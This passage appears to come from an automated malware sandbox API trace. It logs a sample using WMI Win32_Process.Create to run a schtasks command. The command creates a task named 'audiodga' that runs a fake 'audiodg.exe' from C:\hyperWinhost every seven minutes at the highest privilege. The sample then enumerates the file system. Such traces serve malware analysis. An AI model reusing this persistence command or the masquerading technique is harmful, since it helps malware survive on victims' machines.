plFlavor=0x298d48c*=32) returned 0x0 [0070.788] IWbemClassObject:Put (This=0x1bf1b510, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"audiodga\" /sc MINUTE /mo 7 /tr \"'C:\\hyperWinhost\\audiodg.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0070.789] IWbemClassObject:Get (in: This=0x1bf1b510, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x298d530*=0, plFlavor=0x298d534*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x298d530*=13, plFlavor=0x298d534*=32) returned 0x0 [0070.789] IWbemClassObject:Get (in: This=0x1bf1b510, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x298d530*=13, plFlavor=0x298d534*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x298d530*=13, plFlavor=0x298d534*=32) returned 0x0 [0070.789] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bef6d00) returned 0x0 [0070.789] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0070.789] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0070.790] IUnknown:AddRef (This=0x1bef6d00) returned 0x3 [0070.790] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0070.790] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0070.790] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bef6d08) returned 0x0 [0070.790] IMarshal:GetUnmarshalClass (in: This=0x1bef6d08, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0070.790] IUnknown:Release (This=0x1bef6d08) returned 0x3 [0070.790] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0070.790] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0070.790] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0070.790] IUnknown:Release (This=0x1bef6d00) returned 0x2 [0070.790] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0070.790] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0070.790] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0070.791] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0070.791] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0070.791] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0070.791] IUnknown:AddRef (This=0x1bef6d00) returned 0x3 [0070.791] IWbemClassObject:Put (This=0x1bf1b510, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bef6d00, varVal2=0x0), Type=0) returned 0x0 [0070.791] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea15b0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0070.791] WbemDefPath:IWbemPath:GetText (in: This=0x1bea15b0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0070.791] WbemDefPath:IWbemPath:GetText (in: This=0x1bea15b0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0070.791] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1670, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0070.791] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0070.791] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0070.791] WbemDefPath:IWbemPath:GetText (in: This=0x1bea15b0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0070.791] WbemDefPath:IWbemPath:GetText (in: This=0x1bea15b0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0070.792] IWbemServices:ExecMethod (in: This=0x1bf29760, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf1b510, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf1b7c0, ppCallResult=0x0) returned 0x0 [0071.243] IWbemClassObject:Get (in: This=0x1bf1b7c0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x298d848*=0, plFlavor=0x298d84c*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfbc, varVal2=0x0), pType=0x298d848*=19, plFlavor=0x298d84c*=0) returned 0x0 [0071.244] IWbemClassObject:Get (in: This=0x1bf1b7c0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x298d848*=19, plFlavor=0x298d84c*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfbc, varVal2=0x0), pType=0x298d848*=19, plFlavor=0x298d84c*=0) returned 0x0 [0071.245] CoTaskMemAlloc (cb=0x20c) returned 0x1163970 [0071.245] GetSystemDirectoryW (in: lpBuffer=0x1163970, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0071.246] CoTaskMemFree (pv=0x1163970) [0071.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0071.247] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0071.247] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x11f66d0 [0071.248] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0071.248] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0071.248] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0071.248] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0071.248] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x183b87e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0071.248] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x523740e0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x523740e0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyperWinhost", cAlternateFileName="HYPERW~1")) returned 1 [0071.248] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0071.248] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x18be7380, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0071.248] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0071.249] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0071.249] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0071.249] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0071.249] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0071.249] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4b53c6d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4b53c6d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0071.249] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0071.249] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0071.249] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.249] FindClose (in: hFindFile=0x11f66d0 | out: hFindFile=0x11f66d0) returned 1 [0071.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0071.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0071.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0071.251] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0071.251] FindFirstFileW (in: lpFileName="C:\\Program Files\\*" (normalized: "c:\\program files\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f66d0 [0071.251] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.252] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9e34680, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9e34680, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0071.252] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0071.252] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0071.252] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0071.252] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d1785a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3d1785a0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3d1785a0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0071.252] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10afdf0, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xda3dbac0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda3dbac0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0071.252] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa6506d0, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xd96c41c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96c41c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0071.253] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x349ee910, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xd9e5a7e0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9e5a7e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~3")) returned 1 [0071.253] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x439c1190, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xd9dc2260, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9dc2260, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0071.253] 